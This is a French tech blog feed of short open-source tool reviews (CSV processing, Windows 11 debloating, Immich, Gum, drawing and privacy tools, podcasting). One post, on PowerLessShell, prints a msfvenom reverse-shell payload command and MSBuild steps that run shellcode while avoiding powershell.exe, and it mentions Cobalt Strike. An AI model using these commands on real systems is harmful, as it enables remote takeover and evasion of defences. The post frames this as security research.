• chevron_right

      Qsv – Un outil puissant pour gérer vos fichiers CSV facilement

      news.movim.eu / Korben · Tuesday, 22 August, 2023 - 07:00 · 3 minutes

    L’autre jour, je suis tombé sur un utilitaire plutôt cool nommé qsv qui risque bien de changer votre manière de travailler avec les fichiers CSV. C’est une version améliorée de xsv, un utilitaire populaire pour la manipulation de fichiers CSV, qui permet d’analyser, traiter et manipuler des fichiers CSV ultra-rapidement en ligne de commade. En plus de toutes les commandes dispo (+ de 33 commandes), qsv est capable de fonctionner en multithread ce qui permet notamment d’accélérer le traitement des fichiers volumineux !

    En bref, ces commandes vous offrent une multitude de fonctionnalités pour manipuler, transformer et analyser vos fichiers CSV de manière efficace et précise. Quel que soit votre besoin, il y a probablement une commande qui peut vous aider à accomplir votre tâche.

    Voici quelques une de ces commandes :

    • apply : Applique une série de transformations (chaînes de caractères, dates, mathématiques, monnaies, géocodage) à une colonne CSV.
    • applydp : Une version allégée de « apply »
    • behead : Supprime les en-têtes d’un fichier CSV.
    • cat : Concatène les fichiers CSV par ligne ou par colonne.
    • count : Compte le nombre de lignes dans un fichier CSV.
    • dedup : Supprime les lignes en double d’un fichier CSV.
    • diff : Trouve la différence entre deux CSV.
    • enum : Ajoute une nouvelle colonne en numérotant les lignes par l’ajout d’une colonne d’identificateurs incrémentiels ou uuid. Peut aussi être utilisé pour copier une colonne ou remplir une nouvelle colonne avec une valeur constante.
    • excel : Exporte une feuille Excel/ODS spécifiée vers un fichier CSV.
    • exclude : Enlève un ensemble de données CSV d’un autre ensemble en se basant sur les colonnes spécifiées.
    • explode : Explose les lignes en plusieurs en scindant une valeur de colonne sur la base du séparateur donné.

    Et il y en a encore bien d’autres comme « fetch » qui récupère les données de services web pour chaque ligne en utilisant HTTP Get, ou « join » qui fait une jointure interne, externe, croisée, anti & semi sur les fichiers CSV.

    L’une des fonctionnalités que j’ai trouvé le plus sympa dans qsv c’est « apply » avec la prise en charge de fonctions de traitement du langage naturel (NLP), qui incluent la reconnaissance des sentiments, la détection de langues, la détection de similarités et la censure des gros mots ^^. Cela ouvre un univers de possibilités pour l’analyse des données textuelles. Imaginez pouvoir extraire le sentiment général des commentaires des clients ou détecter la langue utilisée, tout ça à la volée. C’est génial !

    L’autre aspect que j’apprécie énormément dans qsv est son intégration avec d’autres outils tels que PostgreSQL, SQLite, luau (un langage de script rapide et flexible dérivé de Lua) et Python. Cela signifie que vous pouvez lancer des requêtes ou des scripts pour chaque ligne d’un fichier CSV, voire même effectuer des jointures avec des fichiers de grande taille sans bousiller la mémoire dispo.

    Pour vous donner un exemple de la puissance de qsv, imaginez que vous avez deux fichiers CSV avec 1 million de lignes et 9 colonnes chacun que vous devez comparer. Avec qsv, cette tâche peut être accomplie en moins de 600 ms ! Excel serait sans doute très lent dans la même situation et risquerait même de planter comme une grosse daube.

    Bref, avec qsv, c’est des temps de traitement plus courts, et la possibilité d’effectuer des tâches complexes en un clin d’œil.

    Pour l’essayer vous-même, vous pouvez le télécharger à partir de GitHub , où vous trouverez également une documentation complète.

    • chevron_right

      Créez une image allégée de Windows 11 grâce à ce script

      news.movim.eu / Korben · Thursday, 17 August, 2023 - 07:00 · 2 minutes

    Si certains d’entre vous cherchent à créer une version allégée de Windows 11 sans arriver à en dormir la nuit, j’ai le script qu’il vous faut. C’est un outil qui vous permettra d’automatiser le processus de réduction en taille de Windows, en utilisant uniquement des utilitaires Microsoft tels que DISM (donc sans aucun outil externe).

    Comme ça vous pourrez créer votre propre version à vous de Tiny11 .

    Le seul exécutable inclus dans cet outil s’appelle oscdimg.exe, et il est fourni avec le ADK de Windows (Kit d’évaluation et de déploiement). Il sera utilisé pour créer les images ISO bootables.

    Le script est capable de contourner l’obligation d’avoir un compte Microsoft lors de la phase OOBE et ainsi de déployer l’image avec l’option /compact. Vous pouvez être assuré que tout est open source, ce qui fait que vous êtes libre de personnaliser, ajouter ou supprimer tout ce que bon vous semble.

    Ce script est quelque peu « rigide » si je peux dire, puisque seules les versions de build spécifiées peuvent être modifiées. De plus, seule la version en-us x64 de Windows 11 est prise en charge pour le moment. Cependant, l’utilisateur final peut facilement corriger cela en remplaçant chaque instance de « en-us » par la langue nécessaire (comme fr-FR, etc.) et chaque instance de x64 par arm64. Les versions compatibles de Windows 11 incluent actuellement les builds 22621.525, 22621.1265 et 25300.

    Voici comment l’utiliser : Téléchargez l’image ISO de Windows 11 , montez-la avec l’Explorateur Windows et exécutez le script en tant qu’administrateur. Une fois l’image ISO créée, elle sera disponible dans le dossier où se trouve le script et sera nommée tiny11.iso.

    Ce script élimine de nombreuses fonctionnalités et logiciels inclus dans Windows comme : Clipchamp, News, Weather, Xbox, GetHelp, GetStarted, Office Hub, Solitaire, PeopleApp, PowerAutomate, ToDo, Alarms, Mail et Calendar, Feedback Hub, Maps, Sound Recorder, Your Phone, Media Player, QuickAssist, Internet Explorer, le support de LA57 support, l’OCR, le Speech support, le TTS, Media Player Legacy, Tablet PC Math, Wallpapers, Edge et OneDrive .

    Voici une vidéo démo de Tiny11 qui vous donnera un bon aperçu de ce que vous pourrez obtenir avec ce genre de script :

    Il peut y avoir évidemment quelques petits désagrément avec ce script, comme le fait que Microsoft Edge soit supprimé et qu’il reste l’icône dans la barre des tâches, que Teams et Cortana ne soient pas retirés (pour le moment). Mais ce ne sont pas de gros soucis.

    Bref, c’est une excellente solution pour créer rapidement une version allégée de Windows 11 sans avoir à vous soucier d’éliminer à la main des applications ou fonctionnalités.

    À découvrir ici

    • chevron_right

      Immich – La solution de sauvegarde auto-hébergée pour vos photos et vidéos

      news.movim.eu / Korben · Thursday, 3 August, 2023 - 07:00 · 2 minutes

    Il était une fois, un Développeur nommé Alex qui cherchait désespérément une solution de sauvegarde auto-hébergée pour ses photos et vidéos de son magnifique bébé. Mais Alex ne voulait pas mettre tout ça dans un cloud privé tenu par les GAFAM.

    Alors en bon geek, Alex a créé sa propre solution : Immich ! C’est une application mobile et web disponible sous licence MIT, axée sur la confidentialité, la collecte de « souvenirs » et bien sûr la facilité d’utilisation.

    Voyez ça comme un Google Photos mais en version auto-hébergeable. D’ailleurs l’une des grandes fonctionnalités d’Immich est la sauvegarde automatique de vos photos et vidéos directement depuis votre smartphone et votre ordinateur. Plus besoin de se soucier de tout perdre dans un crash de disque dur ! Immich gère tout pour vous.

    Aussi, si vous êtes un(e) passionné(e) de photographie, vous serez encore plus joyeux puisqu’il prend même en charge les formats RAW ! Vous pouvez également rechercher des images en utilisant des métadonnées, des noms d’objets, des visages, et même CLIP dont je vous ai déjà parlé. Impressionnant, non ?

    Si vous avez un appareil Android ou iOS , vous pouvez récupérer l’appli mobile.

    Docker Compose est la méthode recommandée pour exécuter Immich en production donc créez un répertoire de votre choix pour y mettre les fichiers docker-compose.yml et .env.

    Ensuite, placez-vous dans le répertoire que vous avez créé et récupérez ces fichiers à l’aide des commandes suivantes :

    wget https://github.com/immich-app/immich/releases/latest/download/docker-compose.yml
    wget -O .env https://github.com/immich-app/immich/releases/latest/download/example.env

    Vous pouvez aussi les récupérer à la main depuis votre navigateur. Renommez le fichier example.env en .env et éditez la pour modifier les valeurs concernant la base de données et l’emplacement où seront stockés les fichiers…etc.

    Enfin, lancez le docker-compose comme ceci :

    docker-compose up -d

    Et pour récupérer les dernières mises à jour de Immich, utilisez cette commande :

    docker-compose pull && docker-compose up -d

    Pour vous aider à en savoir plus, je vous invite à consulter la documentation officielle et pourquoi ne pas jeter un coup d’œil à la démo . Notez cependant que l’application est encore en développement, alors ne la considérez pas comme l’unique moyen de stockage pour vos photos et vidéos. Les backups c’est comme les billets de 100 €, c’est mieux quand y’en a plusieurs !

    À découvrir ici .

    • chevron_right

      Gum – Un outil pour écrire des scripts en un clin d’oeil

      news.movim.eu / Korben · Tuesday, 25 July, 2023 - 07:00 · 4 minutes

    Voici un outil fantastique nommé Gum qui va vous permettre d’écrire des scripts Shell et de gérer vos dotfiles en quelques lignes de code seulement, et après l’avoir testé, je suis sûr que vous ne pourrez plus vous en passer.

    Voici un exemple de ce qu’il est possible de faire avec Gum :

    Et voici le code associé :

    #!/bin/bash
    
    gum style --border normal --margin "1" --padding "1 2" --border-foreground 212 "Hello, there! Welcome to $(gum style --foreground 212 'Gum')."
    NAME=$(gum input --placeholder "What is your name?")
    
    echo -e "Well, it is nice to meet you, $(gum style --foreground 212 "$NAME")."
    
    sleep 2; clear
    
    echo -e "Can you tell me a $(gum style --italic --foreground 99 'secret')?\n"
    
    gum write --placeholder "I'll keep it to myself, I promise!" > /dev/null # we keep the secret to ourselves
    
    clear; echo "What should I do with this information?"; sleep 1
    
    READ="Read"; THINK="Think"; DISCARD="Discard"
    ACTIONS=$(gum choose --cursor-prefix "[ ] " --selected-prefix "[✓] " --no-limit "$READ" "$THINK" "$DISCARD")
    
    clear; echo "One moment, please."
    
    grep -q "$READ" <<< "$ACTIONS" && gum spin -s line --title "Reading the secret..." -- sleep 1
    grep -q "$THINK" <<< "$ACTIONS" && gum spin -s pulse --title "Thinking about your secret..." -- sleep 1
    grep -q "$DISCARD" <<< "$ACTIONS" && gum spin -s monkey --title " Discarding your secret..." -- sleep 2
    
    sleep 1; clear
    
    echo "What's your favorite $(gum style --foreground 212 "Gum") flavor?"
    GUM=$(echo -e "Cherry\nGrape\nLime\nOrange" | gum filter)
    echo "I'll keep that in mind!"
    
    sleep 1; clear
    
    echo "Do you like $(gum style --foreground "#04B575" "Bubble Gum?")"
    sleep 1
    
    CHOICE=$(gum choose --item.foreground 250 "Yes" "No" "It's complicated")
    
    [[ "$CHOICE" == "Yes" ]] && echo "I thought so, $(gum style --bold "Bubble Gum") is the best." || echo "I'm sorry to hear that."
    
    sleep 1
    
    gum spin --title "Chewing some $(gum style --foreground "#04B575" "$GUM") bubble gum..." -- sleep 5
    
    clear
    
    NICE_MEETING_YOU=$(gum style --height 5 --width 25 --padding '1 3' --border double --border-foreground 57 "Well, it was nice meeting you, $(gum style --foreground 212 "$NAME"). Hope to see you soon!")
    CHEW_BUBBLE_GUM=$(gum style --width 25 --padding '1 3' --border double --border-foreground 212 "Don't forget to chew some $(gum style --foreground "#04B575" "$GUM") bubble gum.")
    gum join --horizontal "$NICE_MEETING_YOU" "$CHEW_BUBBLE_GUM"

    Pour l’installer, vous pouvez le faire soit avec un gestionnaire de paquets ou en le téléchargeant directement. Des packages sont d’ailleurs disponibles pour Debian, RPM et Alpine, ainsi que des binaires pour Linux, macOS ( brew install gum ), Windows ( scoop install charm-gum ), FreeBSD, OpenBSD et NetBSD.

    Et si vous préférez, vous pouvez même l’installer à l’aide de Go. Personnellement, j’adore le côté flexible de Gum : il peut être intégré dans des scripts et adapté à votre convenance grâce aux options de configuration et aux variables d’environnement, ce qui vous permet par exemple de personnaliser la couleur du curseur ou la largeur de l’affichage.

    La documentation est très complète à ce sujet.

    Ainsi, la commande « gum input » permet de demander une entrée à l’utilisateur, tandis que « gum write » fonctionne pour une entrée multi-ligne.

    Envie de filtrer une liste de valeurs en utilisant la correspondance floue ? Gum est là pour ça avec « gum filter « . Et si vous avez besoin d’aide pour choisir une option à partir d’une liste de choix, « gum choose » sera votre meilleur allié.

    Même la commande « gum confirm » rend la vie plus simple en demandant si une action doit être effectuée ou non. J’apprécie également énormément l’option « gum file « , qui me permet de sélectionner un fichier directement depuis l’arborescence des fichiers, et la commande « gum spin » ne manque pas de me rappeler que Gum travaille fort fort fort pour moi en affichant un spinner (vous savez, le petit cercle qui tourne pour vous faire patienter) pendant qu’une commande ou un script s’exécute.

    Voici un autre exemple de code :

    #!/bin/sh
    TYPE=$(gum choose "fix" "feat" "docs" "style" "refactor" "test" "chore" "revert")
    SCOPE=$(gum input --placeholder "scope")
    
    # Since the scope is optional, wrap it in parentheses if it has a value.
    test -n "$SCOPE" && SCOPE="($SCOPE)"
    
    # Pre-populate the input with the type(scope): so that the user may change it
    SUMMARY=$(gum input --value "$TYPE$SCOPE: " --placeholder "Summary of this change")
    DESCRIPTION=$(gum write --placeholder "Details of this change (CTRL+D to finish)")
    
    # Commit these changes
    gum confirm "Commit changes?" && git commit -m "$SUMMARY" -m "$DESCRIPTION"

    Et le rendu dans le terminal :

    Outre ces commandes de base, Gum propose également une panoplie d’options pour s’adapter à vos besoins spécifiques. Les différents types de spinner incluent ligne, point, minidot, saut, impulsion, points, globe, lune, un singe (!), mètre et même un hamburger. La commande de tableau est très pratique pour sélectionner des données tabulaires, tandis que le style et la mise en page sont personnalisables à loisir pour combiner texte de manière verticale ou horizontale, ou encore pour traiter et formater les paragraphes. Pour plus d’informations sur les modèles, pensez encore une fois à consulter la documentation.

    Mais ce qui fait vraiment la force de Gum, c’est sa capacité à être intégré à diverses tâches du quotidien. Qui n’a jamais souhaité écrire un message de commit en un instant, ouvrir des fichiers dans son éditeur de texte préféré, se connecter à une session TMUX, sélectionner un hash de commit dans son historique Git, choisir des mots de passe avec Skate , ou encore supprimer des branches en deux temps trois mouvements ?

    Un tour d’horizon des exemples du répertoire Gum vous convaincra d’autant plus de l’intérêt de cet outil.

    Gum est à découvrir ici !

    • chevron_right

      PowerLessShell – Exécutez des Scripts PowerShell sans powershell.exe

      news.movim.eu / Korben · Monday, 24 July, 2023 - 07:00 · 2 minutes

    PowerLessShell est un outil incroyable pour les passionnés de PowerShell et de sécurité informatique. Qui aurait cru qu’on pouvait exécuter des scripts et des commandes PowerShell sans même lancer powershell.exe ? Et pour couronner le tout, il permet également d’exécuter du shellcode brut ! C’est de la sorcellerie !

    La puissance de cet outil réside dans son utilisation de MSBuild.exe. La combinaison des deux permet d’obtenir un résultat vraiment cool pour les pro du Powershell. Certaines conditions peuvent être utilisées avec MSBuild pour empêcher l’exécution du code si elles ne sont pas remplies, ce qui ajoute une couche de sécurité.

    La beauté de PowerLessShell, c’est qu’il utilise des arguments de ligne de commande pour générer le fichier final et il peut générer une charge utile PowerShell ou shellcode. C’est donc très utile également pour les pros en sécurité informatique.

    Le concept est très bien expliqué avec des exemples concrets comme celui-ci :

    $ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
    PowerLessShell Less is More
    Mr.Un1k0d3r RingZer0 Team
    -----------------------------------------------------------
    Generating the msbuild file using include/template-shellcode.csproj as the template
    Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
    File 'malicious.csproj' created
    Process completed

    Le processus est assez simple et direct, même pour ceux qui n’ont pas beaucoup d’expérience avec PowerShell ou MSBuild.

    Et ce n’est pas tout ! Un script nommé Cobalt Strike Aggressor (wmi_msbuild.cna) est également disponible avec des instructions pour la configuration et l’utilisation. Si vous n’avez jamais entendu parler de Cobalt Strike, c’est une plateforme de post-exploitation professionnelle de qualité militaire.

    Le plus impressionnant, c’est que tout ceci a été mis au point par une seule personne : Mr.Un1k0d3r.

    Alors, comment utiliser ce merveilleux outil en pratique ?

    Voici un exemple d’utilisation de PowerLessShell pour générer un shellcode avec l’outil msfvenom de Metasploit et ensuite l’exécuter avec MSBuild :

    msfvenom -a x64 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=1234 -b '\\x00\\x0A\\x0D' -i 20 -f csharp

    Ensuite, utilisez PowerLessShell pour injecter le shellcode dans un fichier MSBuild :

    PowerLessShell.exe -s <shellcode> -w 20

    Finalement, exécutez le fichier malveillant avec MSBuild :

    MSBuild.exe malicious.csproj

    Voilà, le tour est joué ! Il vous suffira d’écouter la connexion entrante shell_reverse_tcp sur votre serveur pour guetter la connexion du client malveillant et prendre le contrôle. C’est un exemple simple mais puissant de ce que PowerLessShell peut faire. Evidemment, c’est à manipuler avec éthique, dans un cadre de recherche ou lors d’une mission de sécurité informatique.

    En conclusion, que vous soyez un professionnel de la sécurité informatique ou simplement quelqu’un qui aime bidouiller et apprendre, cet outil vous surprendra à coup sûr. N’hésitez pas à visiter le GitHub de PowerLessShell pour en savoir plus ici .

    • chevron_right

      Prise de notes et dessins sur une toile infinie avec Lorien

      news.movim.eu / Korben · Sunday, 9 July, 2023 - 07:00 · 1 minute

    Imaginez-vous disposant d’une toile sans fin sur laquelle dessiner tout ce qui vous passe par la tête. Avoir un espace infini pour s’exprimer, esquisser des idées et peindre des paysages idylliques sans se soucier de manquer de place est un rêve pour tous les créatifs. Et ce rêve est maintenant devenu réalité grâce à Lorien , une application de prise de notes et de dessins sur une toile infinie!

    Lorien est née de la volonté de créer un outil polyvalent pour la prise de notes, les croquis et les brainstormings. N’imaginez pas un logiciel aussi sophistiqué que Krita, Gimp ou Photoshop. Mais au lieu de travailler sur des images classiques, Lorien enregistre vos coups de pinceau en vectoriel. Cette application est entièrement développée avec le moteur de jeu Godot et prend très peu de place sur votre disque dur.

    En plus de cette toile infinie , Lorien offre un zoom presque infini ainsi qu’une grille pour dessiner avec précision. D’autres fonctionnalités viennent également enrichir l’expérience utilisateur, notamment la compatibilité avec les tablettes graphiques (comme les Wacom), la sensibilité à la pression, ou encore l’export en SVG. On a même droit à des raccourcis clavier personnalisables, des palettes de couleurs intégrées et personnalisables, et un mode sans distraction pour ceux qui veulent laisser libre cours à leur créativité.

    Lorien est disponible en plusieurs langues : anglais, allemand, italien, coréen, russe, espagnol, turc, portugais brésilien, chinois… Il y en a pour tous les goûts et toutes les cultures.

    Et vous savez quoi ? Vous pouvez télécharger la dernière version stable directement sur Github.

    Bonne création infinie à tous !!

    À découvrir ici

    • chevron_right

      Magic Copy – L’extension Chrome qui extrait automatiquement un objet d’une photo

      news.movim.eu / Korben · Saturday, 8 July, 2023 - 07:00 · 1 minute

    Dernièrement j’étais à la recherche de quelque chose pour faciliter certaines de mes tâches liées à la manipulation d’images, et je suis tombé sur ce petit bijou qui a attiré mon attention.

    Son nom ?

    Magic Copy !! C’est une extension Chrome qui utilise le modèle ‘Segment Anything’ de Meta pour extraire un objet ou une personne au premier plan d’une photo pour ensuite le copier directement dans le presse-papiers.

    Magique, comme son nom l’indique, non ? Et ce n’est pas tout, puisque cette extension est également disponible comme plugin Figma.

    Pour installer Magic Copy sur Chrome, il suffit de télécharger le fichier ZIP depuis les versions publiées sur GitHub . Une fois l’extension installée et activée, vous pourrez alors l’utiliser sur n’importe quelle image.

    Pour les férus de Docker, un Dockerfile est également fourni pour « compiler » (abus de langage, je sais…) proprement le fichier .crx pour Chrome.

    Le dossier server-example présent sur le dépôt git contient aussi un exemple simple de la façon d’héberger soi-même le service. Magic Copy (et sa démo) propose un endpoint qui accepte un POST avec un fichier image et renvoie un tableau JSON avec le résultat sous la forme d’une chaîne encodée en base64.

    Vous vous demandez peut-être comment mettre en place ce système sur votre serveur, alors voici un guide rapide étape par étape :

    Avec Docker déjà installé, exécutez les commandes suivantes :

    docker build -t segment-anything .

    docker run --gpus all -p 8000:8000 segment-anything

    Ces deux commandes sont suffisantes pour créer un conteneur et le lancer. Le conteneur exposera le port 8000 et dans l’extension Chrome Magic Copy, vous pourrez ensuite changer le endpoint en http://localhost:8000/.

    En conclusion, Magic Copy rendra ce processus d’extraction d’objets dans les images aussi fluide et simple que possible, sans même avoir à quitter votre navigateur. Le tout en respectant votre vie privée si vous l’hébergez vous-même.

    À découvrir ici

    • chevron_right

      Anonymisez vos photos de manifestations avec cet outil gratuit

      news.movim.eu / Korben · Saturday, 17 June, 2023 - 07:00 · 1 minute

    Si vous êtes un adepte de la prise d’images pendant les manifestation, cet outil pourra peut-être vous sauver la vie. Il s’appelle Image Scrubber et permet non seulement de supprimer les métadonnées de vos photos, mais également de flouter les visages et autres informations sensibles. Dans cet article, je vais donc vous montrer comment tirer le meilleur de cet outil protéger votre vie privée en ligne.

    Imaginons que vous soyez présent à une manifestation et que vous preniez la photo d’un groupe de personnes présentes. Il est possible que certaines d’entre elles ne souhaitent pas être identifiées. Grâce à Image Scrubber , vous pourrez maintenant anonymiser ces photos en quelques clics.

    Voici comment faire:

    Allez sur le site d’ Image Scrubber .

    Cliquez sur « Ouvrir » pour sélectionner une photo à anonymiser.

    Utilisez ensuite les outils pot de peinture et floutage pour masquer les visages ainsi que d’autres détails identifiables.

    Puis sauvegardez l’image anonymisée en cliquant sur « Enregistrer ».

    Ces étapes simples vous permettront comme ça de partager vos photos de manifestation (ou autre) en préservant la vie privée de vos amis et d’autres participants.

    L’une des choses les plus intéressantes à propos de Image Scrubber c’est qu’il fonctionne entièrement hors ligne. En effet, toute l’opération de traitement et d’anonymisation se fait directement dans votre navigateur. Comme ça, aucune donnée n’est stockée ou envoyée sur un serveur distant. Cela signifie que vous pouvez utiliser cet outil en toute sécurité, même si vous êtes à l’étranger et n’avez pas accès à une connexion Internet fiable.

    Il existe plusieurs façons d’utiliser Image Scrubber hors ligne:

    • Vous pouvez charger la page sur votre téléphone, ajouter l’outil à l’écran d’accueil et activer le mode avion avant d’ouvrir des images.
    • Ou télécharger le zip du projet sur le Github, le décompresser et ouvrir le fichier index.html dans votre navigateur

    Source

    • chevron_right

      Comment héberger votre propre podcast gratuitement sous WordPress ?

      news.movim.eu / Korben · Friday, 16 June, 2023 - 07:00 · 2 minutes

    Même si je manque de temps pour continuer mon podcast, il faut quand même reconnaitre que pouvoir partager ses idées et sa passion avec le monde entier, simplement en enregistrant sa voix, ça a quelque chose de magique.

    D’ailleurs, vous avez peut-être envie de vous lancer vous-même dans le podcasting, et vous êtes à la recherche de la meilleure solution pour l’héberger vous-même… Alors vous êtes au bon endroit.

    Même si ça ne vaut pas les services d’Ausha , vous êtes peut-être du genre à tout vouloir héberger vous-même. Dans ce cas, je dois absolument vous parler de Podlove.

    Il s’agit d’un ensemble de plugins WordPress qui vous permet d’héberger votre propre podcast en toute simplicité.

    Cette suite se compose de 3 outils :

    Tout d’abord Podlove Publisher , qui permet de publier de nouveaux épisodes avec une extrême facilité, grâce à son interface conviviale. C’est un peu comme publier un article de blog, mais pour un podcast ! Ce plugin est donc conçu pour s’intégrer parfaitement à notre WordPress, en prenant en charge la publication et la maintenance des flux de podcast de manière simple.

    Et les statistiques, me direz-vous ?

    Hé bien pas de problème, les statistiques sont présentes, avec des graphiques pour suivre la popularité de chaque épisode et la possibilité de comparer différentes périodes. Le tout sans avoir à tracker vos poditeurs, dans le respect de leur déjà trop fragile vie privée.

    Ensuite, il y a le Podlove Web Player qui est un autre élément clé de cet ensemble. C’est un lecteur web en HTML5 conçu pour les fichiers audio et vidéo, et entièrement optimisé pour les besoins des podcasteurs. Imaginez un lecteur audio / vidéo parfaitement intégré sur votre site WordPress, avec une belle présentation et des fonctionnalités assez puissantes comme la possibilité d’afficher des transcriptions textes synchronisées avec l’audio. Les poditeurs pourront même faire leurs propres recherches dans le texte de votre podcast pour aller directement à l’essentiel.

    Enfin, il y a le Podlove Subscribe Button qui n’est ni plus ni moins qu’un moyen rapide pour les lecteurs de votre site et de vos réseaux sociaux, de s’abonner à votre podcast en un clic.

    Le projet Podlove est entièrement open source, ce qui signifie non seulement que c’est gratuit, mais aussi que le projet est maintenu par une communauté d’utilisateurs passionnés et de quelques développeurs dévoués qui améliorent constamment ces outils.

    Bref, Podlove offre une suite de podcasting complète, gratuite et open source, qui vous permettra d’héberger et de publier vos podcasts comme un vrai pros.

    Si ça vous dit d’essayer, cliquez ici !